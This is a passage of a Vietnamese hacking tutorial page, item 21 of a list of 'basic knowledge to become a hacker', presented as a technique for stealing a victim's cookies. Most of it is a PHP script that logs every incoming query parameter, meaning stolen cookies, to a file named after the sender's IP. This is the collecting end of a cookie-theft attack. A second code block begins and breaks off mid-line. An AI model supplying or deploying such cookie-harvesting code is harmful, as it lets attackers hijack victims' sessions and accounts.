Những hiểu biết cơ bản nhất để trở thành Hacker
trang này đã được đọc lần
21 . ) Kỹ thuật lấy cắp cookie của nạn nhân : _ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :CODE<?phpdefine ("LINE", "\r\n");define ("HTML_LINE", "");function getvars($arr, $title){$res = "";$len = count($arr);if ($len>0){if (strlen($title)>0){print("[--------$title--------]" . HTML_LINE);$res .= "[--------$title--------]" . LINE;}foreach ($arr as $key => $value){print("[$key]" . HTML_LINE);print($arr[$key] . HTML_LINE);$res .= "[$key]" . LINE . $arr[$key] . LINE;}}return $res;}// get current date$now = date("Y-m-d H:i:s");// init$myData = "[-----$now-----]" . LINE;// get$myData .= getvars($HTTP_GET_VARS, "");// file$file = $REMOTE_ADDR . ".txt";$mode = "r+";if (!file_exists($file))$mode = "w+";$fp = fopen ($file, $mode);fseek($fp, 0, SEEK_END);fwrite($fp, $myData);fclose($fp);?>hoặcCODE<?phpif ($contents && $header){
Leave a Comment
th